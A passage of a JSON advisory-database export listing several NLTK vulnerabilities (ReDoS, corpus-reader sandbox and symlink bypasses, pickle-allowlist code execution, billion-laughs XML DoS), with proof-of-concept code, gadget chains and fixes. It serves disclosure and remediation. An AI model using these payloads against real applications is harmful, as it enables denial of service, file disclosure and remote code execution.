Security](https://www.offgridsec.com)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-08T20:28:28.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-w3v8-gmh9-3wv7","https://nvd.nist.gov/vuln/detail/CVE-2026-80206","https://github.com/nltk/nltk/commit/0072ea2fb8be22e038a36e887b7061bb6b9339d9","https://github.com/nltk/nltk/releases/tag/v3.10.3","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3751.yaml","https://www.vulncheck.com/advisories/nltk-3.10.2-regular-expression-denial-of-service-via-tgrep","https://github.com/advisories/GHSA-w3v8-gmh9-3wv7"],"source_kind":"github","identifiers":["GHSA-w3v8-gmh9-3wv7","CVE-2026-80206"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T21:00:09.194Z","updated_at":"2026-09-25T12:00:34.549Z","epss_percentage":0.0044,"epss_percentile":0.35563,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13M3Y4LWdtaDktM3d2N84ABu8Z","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13M3Y4LWdtaDktM3d2N84ABu8Z","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.3","vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13M3Y4LWdtaDktM3d2N84ABu8Z/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ycnY4LWg3cDgtcng1Nc4ABu8Y","url":"https://github.com/advisories/GHSA-rrv8-h7p8-rx55","title":" NLTK: ReDoS in nltk.text.Text.findall() via unvalidated user-supplied regular expressions","description":"### Summary\nNLTK's `Text.findall()` and `TokenSearcher.findall()` methods accept user-supplied regular expressions and pass them to the Python `re` engine without timeout or validation, enabling catastrophic backtracking (ReDoS). This issue is isolated to the `nltk.text` module and was resolved in a prior commit.\n\n### Affected Code\n`nltk/text.py` — `TokenSearcher.findall()` (line 255) / `Text.findall()` (line 620)\n\n`TokenSearcher.__init__` builds an internal string by wrapping each token in angle brackets. The `findall()` method preprocesses the caller-supplied regexp and runs it directly against this string with no timeout:\n\n```python\ndef findall(self, regexp):\n    # Preprocessing does NOT prevent catastrophic backtracking\n    regexp = re.sub(r\"\\s\", \"\", regexp)\n    regexp = re.sub(r\"\u003c\", \"(?:\u003c(?:\", regexp)\n    regexp = re.sub(r\"\u003e\", \")\u003e)\", regexp)\n    regexp = re.sub(r\"(?\u003c!\\\\)\\.\", \"[^\u003e]\", regexp)\n\n    # User-controlled regexp executed with no timeout\n    hits = re.findall(regexp, self._raw)\n```\nThe preprocessing transforms `\u003c` and `\u003e` angle-bracket syntax but does not inspect or reject catastrophically backtracking patterns.\n\n### Proof of Concept\n```python\nimport nltk\nimport time\n\n# Token of 25 'a' characters produces self._raw = \"\u003caaaaaaaaaaaaaaaaaaaaaaaa!\u003e\"\n# The trailing '!' ensures no match, forcing full backtracking.\ntext = nltk.Text([\"a\" * 25 + \"!\"])\n\n# Pattern after transformation:\n#   \u003c  →  (?:\u003c(?:\n#   \u003e  →  )\u003e)\n# Becomes: (?:\u003c(?:((a+)+)b)\u003e)\n# re.findall runs this against \"\u003caaaaaaaaaaaaaaaaaaaaaaaa!\u003e\" — hangs.\n\nstart = time.time()\ntext.findall(r\"\u003c((a+)+)b\u003e\")   # Never returns\n```\n\n### Impact\nApplications that expose `Text.findall()` to external input are vulnerable to a denial of service. An unauthenticated attacker can cause indefinite CPU saturation with one request, denying service to all other users of the Python process.\n\n### Remediation\nThis vulnerability was patched in commit `d8e4753`. Users should update to the patched version.\n\n### Credit\nTool: Kira by [Offgrid Security](https://www.offgridsec.com)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-08T20:28:13.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-rrv8-h7p8-rx55","https://nvd.nist.gov/vuln/detail/CVE-2026-80205","https://github.com/nltk/nltk/pull/3674","https://github.com/nltk/nltk/commit/d8e47539317b571ab1422981f5b9653d5eae1249","https://github.com/nltk/nltk/releases/tag/v3.10.0","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3750.yaml","https://www.vulncheck.com/advisories/nltk-before-3.10.0-redos-via-text-findall-unvalidated-regex","http://www.openwall.com/lists/oss-security/2026/09/01/3","https://github.com/advisories/GHSA-rrv8-h7p8-rx55"],"source_kind":"github","identifiers":["GHSA-rrv8-h7p8-rx55","CVE-2026-80205"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T21:00:09.194Z","updated_at":"2026-09-25T12:00:34.550Z","epss_percentage":0.00651,"epss_percentile":0.48958,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycnY4LWg3cDgtcng1Nc4ABu8Y","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ycnY4LWg3cDgtcng1Nc4ABu8Y","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.0","vulnerable_version_range":"\u003c= 3.9.4"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycnY4LWg3cDgtcng1Nc4ABu8Y/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zZ3E0LTNqOTItNXc0Oc4ABurt","url":"https://github.com/advisories/GHSA-3gq4-3j92-5w49","title":"NLTK: Corpus Reader Sandbox Bypass","description":"## Summary\n\nNLTK corpus-reader constructors can still reach outside-root file and database reads before the `nltk.pathsec` sandbox boundary is enforced.\n\nThe PoC shows the safe path blocked by `pathsec.open`, then `LinThesaurusCorpusReader` and `PanLexLiteCorpusReader` succeeding in the same process.\n\n## Affected Product\n\n- Product: NLTK\n- Asset / component: `nltk.corpus.reader` constructors\n- Version tested: `3.10.2`\n- Deployment / package / tag: commit `474af1f5a94b1b8d53fc2b6defec3a2ce7633b74` / PyPI `nltk`\n- Environment used for verification: Python 3.13.14\n\n## Vulnerability Details\n\n- Vulnerability class: path sandbox bypass / external control of file path\n- Required privileges: none beyond the ability to supply a corpus root path to a consumer call site\n- Entry point: `LinThesaurusCorpusReader(root)` and `PanLexLiteCorpusReader(root)`\n- Trust boundary crossed: NLTK data-root sandbox enforced by `nltk.pathsec`\n- Root affected functions:\n  - [CorpusReader.__init__](https://github.com/nltk/nltk/blob/474af1f5a94b1b8d53fc2b6defec3a2ce7633b74/nltk/corpus/reader/api.py#L73-L80)\n  - [LinThesaurusCorpusReader.__init__](https://github.com/nltk/nltk/blob/474af1f5a94b1b8d53fc2b6defec3a2ce7633b74/nltk/corpus/reader/lin.py#L37-L43)\n  - [PanLexLiteCorpusReader.__init__](https://github.com/nltk/nltk/blob/474af1f5a94b1b8d53fc2b6defec3a2ce7633b74/nltk/corpus/reader/panlex_lite.py#L45-L46)\n- Measured unsafe effect: outside-root file/database reads still happen with `ENFORCE=True`\n\n## Root Cause\n\n`CorpusReader.__init__()` turns a string root into a `FileSystemPathPointer` without any `pathsec` validation, and these readers then use builtin `open()` or `sqlite3.connect()` directly on derived paths. The constructor path therefore never hits the sandbox guard that `pathsec.open()` enforces.\n\n```python\nif zipfile:\n    root = ZipFilePathPointer(zipfile, zipentry)\nelse:\n    root = FileSystemPathPointer(root)\n\nwith open(path) as lin_file:\n    ...\n\nself._c = sqlite3.connect(os.path.join(root, \"db.sqlite\")).cursor()\n```\n\n## Proof of Concept\n\nSave the script as `hy01_raw_path_poc.py` in the checkout root and run `python hy01_raw_path_poc.py`.\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC for HY-01: corpus-reader sandbox bypass.\n\nThis script proves three facts:\n- pathsec blocks a direct read through the sandboxed file API\n- LinThesaurusCorpusReader still reaches builtin open() on an outside path\n- PanLexLiteCorpusReader still opens an outside sqlite database and loads data\n\"\"\"\n\nfrom __future__ import annotations\n\nimport builtins\nimport pathlib\nimport sqlite3\nimport sys\nimport tempfile\nfrom unittest.mock import patch\n\ntry:\n    import nltk.pathsec as pathsec\n    from nltk.corpus.reader.lin import LinThesaurusCorpusReader\n    from nltk.corpus.reader.panlex_lite import PanLexLiteCorpusReader\nexcept ModuleNotFoundError:\n    here = pathlib.Path(__file__).resolve()\n    for base in (here.parent, *here.parents):\n        if (base / \"nltk\").is_dir() and (base / \"setup.py\").exists():\n            sys.path.insert(0, str(base))\n            break\n    else:\n        raise RuntimeError(\n            \"Could not import nltk. Run this script from an NLTK checkout root \"\n            \"or from an environment where the current checkout is installed.\"\n        )\n\n    import nltk.pathsec as pathsec\n    from nltk.corpus.reader.lin import LinThesaurusCorpusReader\n    from nltk.corpus.reader.panlex_lite import PanLexLiteCorpusReader\n\n\ndef main() -\u003e int:\n    pathsec.ENFORCE = True\n\n    with patch.object(pathsec, \"_get_allowed_roots\", lambda: set()):\n        with patch.object(pathsec.os, \"getcwd\", lambda: \"sandbox-disabled\"):\n            with tempfile.TemporaryDirectory() as tmp:\n                tmpdir = pathlib.Path(tmp)\n                outside = tmpdir / \"outside\"\n                outside.mkdir()\n\n                blocked_file = outside / \"blocked.txt\"\n                blocked_file.write_text(\"blocked\", encoding=\"utf-8\")\n\n                control_target = str(blocked_file)\n                try:\n                    with pathsec.open(control_target, \"rb\"):\n                        raise AssertionError(\n                            \"pathsec.open unexpectedly allowed control path\"\n                        )\n                except PermissionError:\n                    print(\"control:pathsec.open=blocked\")\n\n                lin_root = tmpdir / \"lin\"\n                lin_root.mkdir()\n                lin_file = lin_root / \"simN.lsp\"\n                lin_file.write_text(\n                    '(\"business\" (desc 1.0)\\n\\t\"enterprise\"\\t0.9\\n))\\n',\n                    encoding=\"utf-8\",\n                )\n\n                opened = []\n                real_open = builtins.open\n\n                def tracking_open(*args, **kwargs):\n                    opened.append(str(args[0]))\n                    return real_open(*args, **kwargs)\n\n                with patch(\"builtins.open\", tracking_open):\n                    LinThesaurusCorpusReader(str(lin_root))\n\n                if any(p.endswith(\"simN.lsp\") for p in opened):\n                    print(\"lin:outside_root_open=success\")\n                else:\n                    raise AssertionError(\"LinThesaurusCorpusReader did not open data\")\n\n                panlex_root = tmpdir / \"panlex\"\n                panlex_root.mkdir()\n                db_path = panlex_root / \"db.sqlite\"\n                db = sqlite3.connect(db_path)\n                cur = db.cursor()\n                cur.execute(\"create table lv(uid text, lv text, lc text, tt text)\")\n                cur.execute(\"create table dnx(ex int, mn int, uq int, ap int, ui text)\")\n                cur.execute(\"create table ex(ex int, tt text, lv text, uq int)\")\n                cur.execute(\n                    \"insert into lv(uid, lv, lc, tt) values ('u1', 'lv1', 'en', 'English')\"\n                )\n                db.commit()\n                db.close()\n\n                reader = PanLexLiteCorpusReader(str(panlex_root))\n                result = reader.language_varieties()\n                if result == [(\"u1\", \"English\")]:\n                    print(\"panlex:language_varieties=success\")\n                else:\n                    raise AssertionError(\"PanLexLiteCorpusReader did not load data\")\n\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\nExpected output:\n\n```\ncontrol:pathsec.open=blocked\nlin:outside_root_open=success\npanlex:language_varieties=success\n```\n## Impact\n\nA caller can make NLTK read filesystem content outside the intended NLTK data sandbox through public corpus-reader constructors. In the PoC, that includes a local text file and a local SQLite db.\n\n## Severity\n\n- Base Score: 7.5 (High)\n- Severity reasoning:\n  The bug is reliably triggerable by caller-controlled path input and exposes data outside the intended trust boundary; no special privileges are needed inside the process.\n\n## Remediation\n\nValidate raw string roots before constructing readers, and route all corpus-root/path handling through `pathsec` or a validated `PathPointer`. Remove direct builtin `open()` and direct `sqlite3.connect(os.path.join(...))` use on constructor-derived paths.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-08T16:57:08.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-3gq4-3j92-5w49","https://nvd.nist.gov/vuln/detail/CVE-2026-79674","https://github.com/nltk/nltk/commit/bc007200d123c1a98d74c2eb230f5e06c53886b8","https://github.com/nltk/nltk/releases/tag/v3.10.3","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3736.yaml","https://www.vulncheck.com/advisories/nltk-path-traversal-via-corpus-reader-constructors","https://github.com/advisories/GHSA-3gq4-3j92-5w49"],"source_kind":"github","identifiers":["GHSA-3gq4-3j92-5w49","CVE-2026-79674"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T17:00:08.833Z","updated_at":"2026-09-25T12:00:36.768Z","epss_percentage":0.00387,"epss_percentile":0.29984,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zZ3E0LTNqOTItNXc0Oc4ABurt","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zZ3E0LTNqOTItNXc0Oc4ABurt","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.3","vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zZ3E0LTNqOTItNXc0Oc4ABurt/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wNHJ3LXJ2djItN3h3cs4ABurs","url":"https://github.com/advisories/GHSA-p4rw-rvv2-7xwr","title":"NLTK: Corpus readers follow symlinks outside trusted roots despite pathsec enforcement","description":"### Summary\n\nSeveral corpus readers still step outside NLTK's symlink-aware trusted-root model. They derive in-root paths from trusted corpus state, convert those paths back into plain strings, and reopen them with built-in `open()` rather than `nltk.pathsec.open()`.\n\n### Details\n\n- **Vulnerability type:** Path traversal and symlink boundary bypass\n- **Affected component:** `nltk.corpus.reader.ipipan`, `nltk.corpus.reader.crubadan`, `nltk.corpus.reader.lin`\n- **Affected versions:** Published `3.9.4` and current source `v3.10.0-rc2` both reproduced.\n- **Patched versions:** Not yet patched\n- **Root cause:** Root-derived paths are reopened with raw `open()` without preserving the trusted-root boundary.\n\n`IPIPANCorpusReader` opens `header.xml` derived from `morph.xml`, `CrubadanCorpusReader` opens `table.txt` directly, and `LinThesaurusCorpusReader` opens `simN.lsp` paths returned from its own root helpers. Under `pathsec.ENFORCE=True`, a symlink placed inside the trusted corpus root can point outside the root and still be parsed successfully. It was confirmed parsed outside-root content is returned through public methods such as `channels()`, `domains()`, `categories()`, `langs()`, `crubadan_to_iso()`, `synonyms()`, and `scored_synonyms()`.\n\n### PoC\n\n**Preconditions**\n- The application processes attacker-influenced corpora inside a trusted NLTK data root or trusted corpus directory.\n\n**Steps**\n1. Create a trusted corpus root and keep `pathsec.ENFORCE=True` with that root allowlisted.\n2. Place symlinked reader inputs such as `header.xml`, `table.txt`, or `simN.lsp` inside the root and point them to external files.\n3. Instantiate the corresponding corpus reader and call its normal public methods.\n4. Observe that parsed outside-root values are returned even though `pathsec.open()` blocks the same symlink targets.\n\n**Minimal reproducible excerpt**\n\n```text\n{'ipipan': ['LEAK', 'TOPSECRET', 'CLASSIFIED'], 'crubadan': ['LEAK'], 'lin': [('LEAK', 9.5)]}\n```\n\n### Impact\n\nAn attacker who can stage corpus files or symlinks under a trusted data root can disclose outside-root content through normal corpus-reader results, defeating the boundary NLTK documents for shared and untrusted-input environments.\n\n### Remediation\n\nPreserve `PathPointer` and `required_root` semantics end to end. Replace direct `open()` calls with `nltk.pathsec.open()` or a reader helper that keeps the trusted-root boundary intact.\n\n### References\n\n- https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/ipipan.py#L162-L192\n- https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/crubadan.py#L74-L98\n- https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/lin.py#L40-L43\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/pathsec.py#L521-L545\n\n---\n\n## Fix + full-codebase audit (verified)\n\n\nI swept every raw file open in the corpus readers, not just the three the umbrella named:\n\n| Reader | Site | Advisory | Root scoping |\n|---|---|---|---|\n| crubadan | table.txt + `\u003ccode\u003e-3grams.txt` | p4rw / j5pw | `required_root=self.root` |\n| lin | simN.lsp | p4rw | `required_root=self.root` |\n| xmldocs | XMLCorpusView bare-string fileid | 934p (base reader) | global fallback (view has no root) |\n| pl196x | textids index | **found by audit** | `required_root=self._root` |\n| mte | MTEFileReader | mvf5 | `required_root` threaded through 8 call sites |\n| toolbox | StandardFormat.open codecs.open | cr8c | global sandbox (low-level parser) |\n| named_entity | load_ace_file ann/text | 7qj2 | global sandbox |\n| nkjp | XML_Tool source file | p4rw class | `required_root=self._root` |\n\n`ipipan` already validates via the earlier #3727 fix — unchanged.\n\n## Fix\nEach site now calls `nltk.pathsec.validate_path(path, required_root=…)` before opening. Where the reader has a concrete corpus root, the check is **scoped** with `required_root` (rejects any escape outside that root). `XMLCorpusView` carries no root, so it falls back to the global data-root sandbox via `getattr(self, \"_root\", None)` — which also avoids an AttributeError on the bare-string path.\n\n## Reproduced (captured)\n```\nraw open(symlink) reads: 'TOPSECRET_OUTSIDE_ROOT'          \u003c- the bypass\nvalidate_path(symlink, required_root): ValueError -\u003e BLOCKS the escape\nvalidate_path(legit in-root): PASSED                       \u003c- loads normally\n```\n\n## Honest residual\nThe global-sandbox fallback (toolbox, named_entity, xmldocs-view) is only as tight as the allowed-roots list, which currently includes the **system temp dir**. Scoping every reader with `required_root` and removing the temp dir from the allowed roots would harden it further (separate advisory / task).\n\n## Tests\n`test_corpus_reader_pathsec.py` — symlink escape rejected, in-root file allowed, XMLCorpusView string-fileid no AttributeError, MTEFileReader out-of-root rejected. 46 existing corpus/toolbox tests pass; all edited modules import (no circular import). pre-commit (black/isort/ruff) clean.\n\n---\n\n## Scope caveat\n`validate_path` blocks every symlink escape variant (verified) and equals `pathsec.open()`'s guarantee, but does NOT block **hardlinks** (no symlink to resolve; tracked separately as GHSA-f794-5jv7-7672) or the validate-then-open TOCTOU race (shared by `pathsec.open`; needs O_NOFOLLOW/openat).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-08T16:55:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-p4rw-rvv2-7xwr","https://nvd.nist.gov/vuln/detail/CVE-2026-79676","https://github.com/nltk/nltk/commit/10d34b3f4fe3fec74b76527a409eb0acbac2e8ab","https://github.com/nltk/nltk/releases/tag/v3.10.3","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3737.yaml","https://www.vulncheck.com/advisories/nltk-before-path-traversal-via-symlink-bypass","https://github.com/advisories/GHSA-p4rw-rvv2-7xwr"],"source_kind":"github","identifiers":["GHSA-p4rw-rvv2-7xwr","CVE-2026-79676"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T17:00:08.833Z","updated_at":"2026-09-25T12:00:36.770Z","epss_percentage":0.00447,"epss_percentile":0.36128,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wNHJ3LXJ2djItN3h3cs4ABurs","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wNHJ3LXJ2djItN3h3cs4ABurs","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.3","vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wNHJ3LXJ2djItN3h3cs4ABurs/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14OTl3LTZmZ2MtcG1md84ABurr","url":"https://github.com/advisories/GHSA-x99w-6fgc-pmfw","title":"NLTK: Allowlisted pickle loaders still permit code execution in current source","description":"### Summary\n\nThe current source tree still allows arbitrary code execution during supposedly safer allowlisted pickle loading. The allowlist trusts whole module namespaces instead of exact safe globals, so crafted pickles can invoke dangerous in-namespace callables through pickle REDUCE.\n\n### Details\n\n- **Vulnerability type:** Remote code execution via unsafe deserialization\n- **Affected component:** `nltk.picklesec.allowlisted_pickle_load`, `nltk.tokenize.punkt.punkt_pickle_load`, `nltk.parse.transitionparser.TransitionParser.parse`\n- **Affected versions:** Current source `v3.10.0-rc2`; published `3.9.4` was not the claim target for this bypass.\n- **Patched versions:** Not yet patched\n- **Root cause:** Module-prefix allowlists include dangerous callables such as `nltk.tokenize.repp.ReppTokenizer._execute` and `numpy.f2py.crackfortran.myeval`.\n\n`punkt_pickle_load()` allowlists both `nltk.tokenize.punkt` and the whole `nltk.tokenize` namespace, which exposes `ReppTokenizer._execute()` and its `subprocess.Popen(...)` sink during unpickling. `TransitionParser.parse()` uses `allowlisted_pickle_load(..., allowed_modules=(\"numpy\", \"scipy\", \"sklearn\"))`, which permits `numpy.f2py.crackfortran.myeval()` and its attacker-controlled `eval(...)` path. I confirmed both gadgets create marker files before the caller returns or later aborts on type misuse.\n\n### PoC\n\n**Preconditions**\n- The application loads an attacker-controlled tokenizer or model artifact through these public loaders.\n\n**Steps**\n1. Create a pickle whose REDUCE callable is `ReppTokenizer._execute` and point its command to a harmless marker-file write.\n2. Pass that payload to `punkt_pickle_load(BytesIO(payload))` and observe the marker file is created during unpickling.\n3. Create a second pickle whose REDUCE callable is `numpy.f2py.crackfortran.myeval` and load it through `TransitionParser.parse()`.\n4. Observe the second marker file is created before `TransitionParser.parse()` later fails on the returned object type.\n\n**Minimal reproducible excerpt**\n\n```text\n{'punkt_marker': 'PUNKT_RCE', 'transitionparser_marker': 'TP_RCE'}\n```\n\n### Impact\n\nAny caller that trusts these current allowlisted loaders can still execute attacker-controlled commands while loading model or tokenizer artifacts. This defeats the protection mechanism that replaced unrestricted pickle loading and creates a dangerous false sense of safety.\n\n### Remediation\n\nReplace broad module-prefix allowlists with exact `(module, qualname)` pairs for the few safe classes or functions genuinely required. Do not allow entire namespaces such as `nltk.tokenize` or `numpy`, and keep post-load type validation only as a secondary defense.\n\n### Resources\n\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/tokenize/punkt.py#L120-L134\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/tokenize/repp.py#L111-L115\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/parse/transitionparser.py#L26-L30\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/parse/transitionparser.py#L565-L571\n\n---\n\n## Fix + attack demonstration (verified)\n\n + tightened callers\n`find_class` now, before the allowlists:\n1. **Rejects any dotted `name`** → closes 4489 with zero legit impact.\n2. **Denies dangerous modules** (`os`, `subprocess`, `sys`, `builtins`, `numpy.f2py`, `nltk.tokenize.repp`, …) even under a broad `allowed_modules` — a defense-in-depth **backstop** so a future too-broad allowlist can't silently reopen RCE.\n3. **`builtins` denied wholesale**; safe primitives (`int`, `str`, …) must be named exactly via `allowed_globals`.\n\nCallers tightened: punkt drops the broad `nltk.tokenize` (keeps `nltk.tokenize.punkt` + exact `collections.defaultdict`/`builtins.int`); transitionparser keeps numpy/scipy/sklearn (array unpickling needs their submodules) with the new guards blocking the gadgets.\n\n## Full pickle-sink audit\nEvery deserialization sink in the tree was reviewed: **no raw `pickle.load`** anywhere, and **no** joblib/numpy/torch/dill/yaml/marshal loaders. `data.load` + `wordnet_app` use `RestrictedUnpickler` (blocks all globals — safe); the remaining `pickle_load` sites (`chartparser_app`, `tbl/demo`) load user-selected or self-written files and keep their warning.\n\n## Attack demonstration (captured; fork clone)\n```\n=== EXPLOITS blocked ===\n  4489 sklearn.os.system (dotted)      -\u003e BLOCKED\n  x99w numpy.f2py.crackfortran.myeval  -\u003e BLOCKED\n  x99w nltk.tokenize.repp._execute     -\u003e BLOCKED\n  backstop os.system (os allowlisted)  -\u003e BLOCKED\n  backstop builtins.eval (exact global)-\u003e BLOCKED\n=== LEGIT loads still work ===\n  punkt round-trip via punkt_pickle_load -\u003e OK\n  builtins.int (safe primitive)          -\u003e OK\n```\n\n## Tests\n`test_pickle_allowlist_security.py` — added 5 regressions (dotted traversal, both namespace gadgets, denied-module backstop, legit round-trip). Suite: 122 passed / 9 skipped (sklearn-dependent) across pickle/punkt/transition/tokenize. pre-commit (black/isort/ruff) clean.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-09-08T16:42:57.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-x99w-6fgc-pmfw","https://nvd.nist.gov/vuln/detail/CVE-2026-79657","https://github.com/nltk/nltk/commit/c3e37113742a1ebeeb4f2ca58941f320f98805ea","https://github.com/nltk/nltk/releases/tag/v3.10.3","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3735.yaml","https://www.vulncheck.com/advisories/nltk-before-3.10.3-remote-code-execution-via-unsafe-pickle-deserialization","https://github.com/advisories/GHSA-x99w-6fgc-pmfw"],"source_kind":"github","identifiers":["GHSA-x99w-6fgc-pmfw","CVE-2026-79657"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T17:00:08.833Z","updated_at":"2026-09-26T11:00:27.464Z","epss_percentage":0.01267,"epss_percentile":0.68525,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14OTl3LTZmZ2MtcG1md84ABurr","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14OTl3LTZmZ2MtcG1md84ABurr","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.3","vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14OTl3LTZmZ2MtcG1md84ABurr/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05N3FqLXgyOWYtMzd3N84ABurq","url":"https://github.com/advisories/GHSA-97qj-x29f-37w7","title":"NLTK: Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses","description":"Several XML parsing sites in NLTK still used `xml.etree.ElementTree` directly, which honours `\u003c!ENTITY\u003e` declarations in a document's internal DTD subset. A crafted document a few hundred bytes long can expand to megabytes in memory (each nesting level multiplies by ten), a denial-of-service.\n\nAffected call sites (\u003c= 3.10.2):\n- `nltk.chunk.named_entity.load_ace_file` — parses ACE annotation XML\n- `nltk.internals.ElementWrapper` — converts any given string to an Element\n- `nltk.downloader` — `Package.fromxml`, `Collection.fromxml`, `_find_collections`, `_find_packages`\n\nlibexpat 2.6.0 added an input-amplification cap, but it only engages above an activation threshold (~8 MiB output) and depends on whichever libexpat the interpreter links; builds against older libexpat have no cap at all. External entities are not resolved by ElementTree, so this is a memory-amplification DoS (CWE-776), not XXE/file disclosure.\n\nThis completes the earlier defusedxml adoption that these sites were missed by. Fix routes all of them through a new `nltk.xmlsec` module that refuses entity declarations, preferring `defusedxml` and falling back to a standard-library `xml.parsers.expat` pre-scan when defusedxml is absent.\n\n---\n\n## Attack demonstration\n\nReproducible PoC against a real affected entry point (`nltk.internals.ElementWrapper`). Every number below is captured output, not illustrative.\n\n### 1. The amplification (vulnerable path: raw `xml.etree.ElementTree`)\n\nA payload of a few hundred bytes expands to megabytes in memory. Each nesting level multiplies output by 10 while adding ~56 bytes of input:\n\n| levels | input bytes | expanded bytes | factor |\n|--------|-------------|----------------|--------|\n| 3 | 218 | 10,000 | x45 |\n| 4 | 274 | 100,000 | x364 |\n| 5 | 330 | 1,000,000 | x3,030 |\n| 6 | 386 | (libexpat 2.7.1 cap trips) | - |\n\nThe level-6 cap is **libexpat's**, not NLTK's: it only engages above an ~8 MiB activation threshold, and older libexpat builds (still shipped with many 3.10/3.11 interpreters) have no cap at all. Under the threshold — up to ~1 MB per parse here — expansion always succeeds.\n\n```python\nimport xml.etree.ElementTree as ET\ndef bomb(levels):\n    d = \"\\n\".join(f'\u003c!ENTITY e{i} \"{(\"\u0026e%d;\"%(i-1))*10}\"\u003e' for i in range(1, levels+1))\n    return f'\u003c!DOCTYPE d [\u003c!ENTITY e0 \"AAAAAAAAAA\"\u003e{d}]\u003e\u003cd\u003e\u0026e{levels};\u003c/d\u003e'\nET.fromstring(bomb(5))   # -\u003e element whose .text is 1,000,000 chars\n```\n\n### 2. The patched entry point rejects it\n\n```\n\u003e\u003e\u003e from nltk.internals import ElementWrapper\n\u003e\u003e\u003e ElementWrapper(bomb(5))\nEntitiesForbidden: EntitiesForbidden(name='e0', ...)\n```\n\n### 3. Why a text-based screen is not enough\n\nAn entity declaration can hide behind a decoy `\u003c!DOCTYPE\u003e` in a prolog comment. Raw ElementTree still processes the real declaration and expands; a guard that walks the DOCTYPE text is fooled. The shipped guard re-parses with expat, so it is not:\n\n```python\nevil = 